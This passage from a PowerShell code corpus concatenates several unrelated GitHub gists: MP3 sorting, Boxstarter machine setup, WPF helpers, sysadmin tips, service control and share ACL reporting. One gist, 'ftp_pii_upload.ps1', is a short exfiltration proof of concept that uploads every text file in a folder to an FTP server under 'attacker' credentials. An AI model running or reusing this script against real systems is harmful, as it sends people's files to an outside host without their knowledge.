function getMP3MetaData($path)
{
# Get the file name, and the folder it exists in
$file = split-path $path -leaf
$path = split-path $path
$objFolder = $objShell.namespace($path)
$objFile = $objFolder.parsename($file)
$result = @{}
0..266 | % {
if ($objFolder.getDetailsOf($objFile, $_))
{
$result[$($objFolder.getDetailsOf($objFolder.items, $_))] = $objFolder.getDetailsOf($objFile, $_)
}
}
return $result
}
# MAIN FUNCTION
# If no argument was passed, see if anything was piped to the function instead.
if (!$Folder)
{
$input | % { $Folder = $_ }
}
# Check if the path is valid, if not reset it to ""
if ($Folder) { if (!(Test-Path -LiteralPath $Folder)) { $Folder = "" }}
# Since no valid path was given, prompt the user for a proper path.
while (!$Folder)
{
"Please enter the full path to the folder where you wish to rearrange your MP3's"
$Folder = Read-Host
if ($Folder) { if (!(Test-Path -LiteralPath $Folder)) { $Folder = "" }}
}
# Make sure we have a folder to store the playlists in.
$PLAYLISTSFOLDER = join-path $Folder $PLAYLISTSFOLDER
if(!(test-path $PLAYLISTSFOLDER)) # If the Playlists folder doesn't exist
{
MKDIR $PLAYLISTSFOLDER | out-null
}
# Now that everything is ready, begin rearranging the files.
MoveFiles($Folder)
removeOtherFiles($Folder)
removeEmptyFolders($Folder)
|
PowerShellCorpus/GithubGist/r-tanner-f_5366959_raw_743dd3a8890354764436cdf035796bd0ae8d4cd7_stupid_invoke-command_test.ps1
|
r-tanner-f_5366959_raw_743dd3a8890354764436cdf035796bd0ae8d4cd7_stupid_invoke-command_test.ps1
|
$remoteservices = invoke-command -computer eaglexa1 -scriptblock {
$a = Get-Service
$b = Get-Process
return $a
}
$remoteservices | Format-Table -Property Name,Status
|
PowerShellCorpus/GithubGist/rprouse_b47abc4ebb2db572effe_raw_32b285f6c51fb02489f935dce91a84824b4e8c36_ChocolateyInstallLite.ps1
|
rprouse_b47abc4ebb2db572effe_raw_32b285f6c51fb02489f935dce91a84824b4e8c36_ChocolateyInstallLite.ps1
|
#====================================================
# Setting up a new machine using BoxStarter
# 1.Install Windows 8.1 on a new machine.
# 2.Login.
# 3.Open a command prompt and enter the following:
# START http://boxstarter.org/package/nr/url?https://gist.githubusercontent.com/rprouse/b47abc4ebb2db572effe/raw/9df9b13f481de611fc030215bd2f717c60667cf9/ChocolateyInstallLite.ps1
#====================================================
#====================================================
# Boxstarter options
$Boxstarter.RebootOk=$true # Allow reboots?
$Boxstarter.NoPassword=$false # Is this a machine with no login password?
$Boxstarter.AutoLogin=$true # Save my password securely and auto-login after a reboot
#====================================================
# Basic Setup
Update-ExecutionPolicy Unrestricted -Force
Set-ExplorerOptions -showHidenFilesFoldersDrives -showFileExtensions
Enable-RemoteDesktop
Enable-MicrosoftUpdate
Disable-InternetExplorerESC
#====================================================
# Programs and Tools
cinst PowerShell
cinst 7zip.commandline
cinst 7zip.install
#cinst google-chrome-x64
cinst notepadplusplus.install
cinst ConsoleZ.WithPin
#====================================================
# Source Control
cinst git.install
cinst poshgit
#====================================================
# .NET Development
#cinst VisualStudio2013Professional
#cinst VS2013.3
#cinst VS2013.VSCommands
#cinst visualstudio2013-sdk
cinst nunit
#====================================================
# File Associations
Install-ChocolateyFileAssociation ".txt" "${env:ProgramFiles(x86)}\Notepad++\Notepad++.exe"
Install-ChocolateyFileAssociation ".xml" "${env:ProgramFiles(x86)}\Notepad++\Notepad++.exe"
Install-ChocolateyFileAssociation ".nuspec" "${env:ProgramFiles(x86)}\Notepad++\Notepad++.exe"
Install-ChocolateyFileAssociation ".config" "${env:ProgramFiles(x86)}\Notepad++\Notepad++.exe"
#====================================================
# Pin to the taskbar
#Install-ChocolateyPinnedTaskBarItem "$($Boxstarter.programFiles86)\Google\Chrome\Application\chrome.exe"
#Install-ChocolateyPinnedTaskBarItem "$($Boxstarter.programFiles86)\Microsoft Visual Studio 12.0\Common7\IDE\devenv.exe"
Install-ChocolateyPinnedTaskBarItem "$($Boxstarter.programFiles86)\Notepad++\Notepad++.exe"
#====================================================
# Install Visual Studio Extensions
Install-ChocolateyVsixPackage nunit-test-adapter https://visualstudiogallery.msdn.microsoft.com/6ab922d0-21c0-4f06-ab5f-4ecd1fe7175d/file/66177/15/NUnitVisualStudioTestAdapter-1.2.vsix
#====================================================
# Windows Update
Install-WindowsUpdate -getUpdatesFromMS -acceptEula -SuppressReboots
#====================================================
# Scaffold out folder system
if (!(Test-Path -Path C:\src )) {
mkdir C:\src
}
if (!(Test-Path -Path C:\src\nunit )) {
mkdir C:\src\nunit
}
if (!(Test-Path -Path C:\src\alteridem )) {
mkdir C:\src\alteridem
}
if (!(Test-Path -Path C:\src\3rdParty )) {
mkdir C:\src\3rdParty
}
if (!(Test-Path -Path C:\src\learning )) {
mkdir C:\src\learning
}
if (!(Test-Path -Path C:\src\spikes )) {
mkdir C:\src\spikes
}
if (!(Test-Path -Path C:\bin )) {
mkdir C:\bin
}
if (!(Test-Path -Path C:\tmp )) {
mkdir C:\tmp
}
if (Test-PendingReboot) { Invoke-Reboot }
|
PowerShellCorpus/GithubGist/zhujo01_3720f88b93d298238856_raw_c74fe892c3d33b47f5eb972966161304252c183a_vmware-amazon.ps1
|
zhujo01_3720f88b93d298238856_raw_c74fe892c3d33b47f5eb972966161304252c183a_vmware-amazon.ps1
|
########################################################################
# VMware Windows Bootstrapping Script
# Supported OS:
# - Windows 2008 Server R2 SP1 (TESTED)
# - Windows 2008 Server (TO BE TESTED)
# - Windows 2012 Server (TO BE TESTED)
# Image Transformation Target Cloud
# - Amazon EC2
#
# Coppyright (c) 2014, CliQr Technologies, Inc. All rights reserved.
########################################################################
|
PowerShellCorpus/GithubGist/nwolverson_8003100_raw_610190d8e9a3423d51cd409e7c26abc43246f794_PowerShell.ps1
|
nwolverson_8003100_raw_610190d8e9a3423d51cd409e7c26abc43246f794_PowerShell.ps1
|
function Get-VisualChildren($item) {
for ($i = 0; $i -lt [System.Windows.Media.VisualTreeHelper]::GetChildrenCount($item); $i++) {
$child = [System.Windows.Media.VisualTreeHelper]::GetChild($item, $i)
Get-VisualChildren($child)
}
$item
}
function Get-TreeItems {
Get-VisualChildren $snoopui | ? { $_.GetType().Name -eq "ProperTreeViewItem" }
}
function ShowMessage($treeItem) {
[system.windows.messagebox]::show($treeItem.ToString());
}
function Set-RightClick($item) {
#$action = { [system.windows.messagebox]::show($msg) }.GetNewClosure()
#$action = [ScriptBlock]::Create('[system.windows.messagebox]::show("' + $msg + '")')
#Register-ObjectEvent $item "MouseRightButtonDown" -Action { ShowMessage $Sender; $Event.SourceArgs[1].Handled = $true }
$handler = [Windows.Input.MouseButtonEventHandler]{ ShowMessage $this; $_.Handled = $true; }
$item.Add_MouseRightButtonDown($handler)
}
function Show-Message([string]$msg = 'hello world') {
$action = { [system.windows.messagebox]::show($msg) }.GetNewClosure()
$action
}
Add-Type @"
public class DelegateCommand : System.Windows.Input.ICommand
{
private System.Action<object> _action;
public DelegateCommand(System.Action<object> action)
{
_action = action;
}
public bool CanExecute(object parameter)
{
return true;
}
public event System.EventHandler CanExecuteChanged = delegate { };
public void Execute(object parameter)
{
_action(parameter);
}
}
"@
function Set-ContextMenu() {
$menuItems = ( @{Item="Add Child Element";Command = New-Object DelegateCommand( { Add-XamlVisual } ) },
@{Item="Delete";Command = New-Object DelegateCommand( { Delete-Visual } ) } )
Get-TreeItems | % {
$menu = (New-Object System.Windows.Controls.ContextMenu)
foreach ($menuItem in $menuItems) {
$item = New-Object System.Windows.Controls.MenuItem
$item.Header = $menuItem.Item
$item.Command = $menuItem.Command
$menu.Items.Add($item) | Out-Null
}
$_.ContextMenu = $menu
};
}
function Delete-Visual($item = $selected) {
$parent = $item.parent.visual
if ($parent.Content) { $parent.Content = $null }
elseif ($parent.Child) { $parent.Child = $null }
elseif ($parent.Children) { $parent.Children.Remove($item.visual) }
}
function Add-XamlVisual()
{
$xaml = Query-Xaml
Add-Visual($xaml)
}
function Create-Visual([string]$xaml) {
$pc = (new-object System.Windows.Markup.ParserContext)
$pc.XmlnsDictionary.Add("", "http://schemas.microsoft.com/winfx/2006/xaml/presentation")
[System.Windows.Markup.XamlReader]::Parse($xaml, $pc)
}
function Add-Visual([string]$xaml, [System.Windows.UIElement]$root = $selected.visual) {
$visual = Create-Visual $xaml
try {
$root.children.add($visual)
} catch { }
try {
$root.child = $visual
} catch { }
try {
$root.content = $visual
} catch {}
}
function Query-Xaml()
{
$w = new-object system.windows.window;
$w.Width = 400
$w.Height = 200
$w.content = new-object system.windows.controls.textbox;
$w.content.text = "<TextBlock>Type XAML here!</TextBlock>";
$w.showdialog() | Out-Null
$w.content.text
}
|
PowerShellCorpus/GithubGist/RamblingCookieMonster_4074033ea5eec6c411d0_raw_93bcf2daafc5ccf8bb8db55840685663ee860b3d_Examples.ps1
|
RamblingCookieMonster_4074033ea5eec6c411d0_raw_93bcf2daafc5ccf8bb8db55840685663ee860b3d_Examples.ps1
|
# A few handy tricks I use on a daily basis, from various sources
# Running with UAC and already elevated? No prompts if you call things from here : )
New-Alias -name hyperv -Value "$env:windir\system32\virtmgmt.msc"
New-Alias -name vsphere -value "C:\Program Files (x86)\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe"
New-Alias -Name n -Value "C:\Tools\NotePad2\notepad2.exe"
New-Alias -name RSAT -Value "C:\Tools\Custom.msc"
#...
# Quickly build arrays
echo computer1 computer2 computer3
1..10 | %{"Computer$_"}
1..100 | %{"Computer{0:D3}" -f $_}
# Not familiar with vim, emacs, sublime, etc? Use PowerShell to Quickly build up text!
( 1..100 | %{"`"Computer{0:D3}`"" -f $_} ) -join ", "
gci C:\temp | select -ExpandProperty fullname | %{"`"$_`","}
1..100 | %{"'Computer{0:D3}'," -f $_}
# Quickly build up an array of IP addresses
#http://powershell.com/cs/media/p/9437.aspx
New-IPRange -Start 192.168.0.1 -End 192.168.2.50 -Exclude 0,1,255
<# Exclude via a few modifications
#In the param block
[int[]]$Exclude = @( 0, 1, 255 )
#.....
# instead of just joining the IP on '.', check if it's in the exclusion array
if($Exclude -notcontains $ip[3])
{
$ip -join '.'
}
#>
# Work with parameterized SQL queries? Don't hard code the queries...
$SQLParameters = @{
ComputerName = 'Server1'
SomeColumn = "SomeValue"
SomeColumn2 = 5
#...
}
$query = "UPDATE [Database].[dbo].[Table] SET $( $( foreach($key in $SQLParameters.keys){ "$key = @$key" } ) -join ", " )"
$query = "INSERT INTO [Database].[dbo].[Table] ($($SQLParameters.keys -join ", ")) VALUES ($( $( foreach($key in $SQLParameters.keys){ "@$key" } ) -join ", " ))"
#https://raw.githubusercontent.com/RamblingCookieMonster/PowerShell/master/Invoke-Sqlcmd2.ps1
Invoke-Sqlcmd2 -ServerInstance SomeServer -Database Database -Query $query -SqlParameters $SQLParameters
# Regularly need alternate credentials, and no password management system with an API? Use the DPAPI
#http://poshcode.org/501
#Keep in mind this is restricted to the account running this command, on the computer where PowerShell executed the command
#One time - export any credentials you regularly need
Expore-PSCredential -Credential $SomeESXCredentials -Path \\Some\Secure$\ESXCreds.xml
#Any time you need them, or in you profile, load up the creds
$CredESX = Import-PSCredential -Path \\Some\Secure$\ESXCreds.xml
# What was the code in that Function again?
#http://gallery.technet.microsoft.com/scriptcenter/Open-defined-functions-in-22788d0f
Open-ISEFunction Invoke-Sqlcmd2, Open-ISEFunction
|
PowerShellCorpus/GithubGist/piffd0s_5d880edff950ff06f14d_raw_984e5d73159711178c205a155e8cdf4881a18ac9_ftp_pii_upload.ps1
|
piffd0s_5d880edff950ff06f14d_raw_984e5d73159711178c205a155e8cdf4881a18ac9_ftp_pii_upload.ps1
|
#we specify the directory where all files that we want to upload
$Dir="C:\poc"
#ftp server
$ftp = "ftp://10.1.10.78/"
$user = "attacker"
$pass = "attacker"
$webclient = New-Object System.Net.WebClient
$webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
#list upload every text file in directory
foreach($item in (dir $Dir *.txt)){
"Uploading $item..."
$uri = New-Object System.Uri($ftp+$item.Name)
$webclient.UploadFile($uri, $item.FullName)
}
|
PowerShellCorpus/GithubGist/NotMyself_149d0452ccc2506da204_raw_e938aedca9bcd4bbc6ccb7ccdcba44123bd0301c_gistfile1.ps1
|
NotMyself_149d0452ccc2506da204_raw_e938aedca9bcd4bbc6ccb7ccdcba44123bd0301c_gistfile1.ps1
|
PS C:\Development> Get-ChildItem . *.csproj -R | Select-String -Pattern Microsoft.Bcl.Build
|
PowerShellCorpus/GithubGist/miwaniza_73476c4e14cc43ded087_raw_1f2bfe93466801f697571de9f2b0310f5bfefbfa_Start-VaultSelectedServices.ps1
|
miwaniza_73476c4e14cc43ded087_raw_1f2bfe93466801f697571de9f2b0310f5bfefbfa_Start-VaultSelectedServices.ps1
|
# Get some services on srv and srv1 computers
Get-Service -ComputerName 'srv_pko', 'srv_pko1' -Name 'IISADMIN', 'MSSQL$AUTODESKVAULT', 'Autodesk DataManagement Job Dispatch' |`
# Select properties
Select-Object -Property 'Status','Name','DisplayName','MachineName' |`
# Puch to GridView with possibility to select several items
Out-GridView -OutputMode Multiple -Title 'Vault services' |`
# Start selected in GridView services
ForEach-Object { Set-Service $_.Name -Status Stopped -ComputerName $_.MachineName}
|
PowerShellCorpus/GithubGist/mortenya_a5b3404c993fbc16bf32_raw_a09fade0ed1a5320d0365d349f8ace9dcbe50c81_Get-SharedFolderACL.ps1
|
mortenya_a5b3404c993fbc16bf32_raw_a09fade0ed1a5320d0365d349f8ace9dcbe50c81_Get-SharedFolderACL.ps1
|
Function Get-SharedFolderACL {
<#
.Synopsis
Recursively steps through folders and collects the Access Control List
.DESCRIPTION
Run the cmdlet against one or more Mapped Drives or Shares and it will create a .txt file with the ACLs of every folder in the structure
If you are getting the ACL from a share with many nested folders then it will take a significant amount of time to run
and the resulting .txt files can be quite large
.PARAMETER Shares
Either the drive letter or UNC path of the share you want to collect ACLs from
.PARAMETER FileLoc
The location where you want to save the file
.EXAMPLE
Get-COS-SharedFolder-ACL z:
Get-COS-SharedFolder-ACL z:,\\share\folder
.EXAMPLE
Get-COS-SharedFolder-ACL z:,\\share\folder -FileLoc c:\MyFavoriteFolder
.NOTES
Version: 2.0
Revision Date: 6/16/2014
#>
[CmdletBinding()]
Param (
[parameter(
Position=0,
Mandatory=$true,
ValueFromPipeline=$true,
HelpMessage='The UNC path or Mapped Drive letter you wish to process on')]
[string[]]$Shares,
[parameter(
Position=1,
HelpMessage='Location to save the ouput files, defaut: C:\PSResults\')]
[string]$FileLoc="$env:SystemDrive\PSResults"
)
Begin {
if (!(Test-Path $FileLoc)) { # Check if we have an output directory, if not, create one
New-Item -Path $FileLoc -ItemType Directory | Out-Null
}
}
Process {
foreach ($share in $shares) {
# Mapped drives start at F: in my environment, this checks if it's a mapped drive
if ("$share" -match "^[f-zF-Z]:") {
# Splitting to get just the drive letter
$share = $share.Split(':\')[0]
Write-Debug "Step one, Share is $share"
# This will get me the root of the mapping, i.e. \\share\folder
$share = (Get-PSDrive -Name $share).DisplayRoot
Write-Debug "Step two, Share is $share"
}
if (Split-Path $share -Resolve) {
Write-Debug "Split-Path $share -Resolve is TRUE"
# I learned that Split-Path doesn't return TRUE if you map to \\share\folder `
# it has to be \\share\folder\folder
$path = Split-Path $share -Leaf
} else {
Write-Debug "Split-Path $share -Resolve is FALSE"
# Again, if mapped to \\share\folder, this will return 'folder'
$path = $share.Split('\')[-1]
}
$filepath = $fileloc + '\' + $path + '-ACL.txt'
Write-Debug "the file path is $filepath"
# build the report file
Write-Output "Permissions for directories in: $share" | Format-Table | Out-File -Append $filepath
Write-Output "Report Run Time: $((Get-Date).DateTime)" | Format-Table | Out-File -Append $filepath
Write-Output `n | Format-Table | Out-File -Append $filepath
# processing the folders here
Get-ChildItem -path $share -force -Recurse -Directory | ForEach-Object {
(Convert-Path $_.pspath) | Format-Table | Out-File -Append $filepath
Get-Acl -path (Convert-Path $_.pspath) | Format-List -property AccessToString | Out-File -append $filepath
} #end Get-Acl ForEach
} #end $share ForEach
}
End {
Write-Host -ForegroundColor DarkCyan "`nFinished writing share ACL(s)"
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.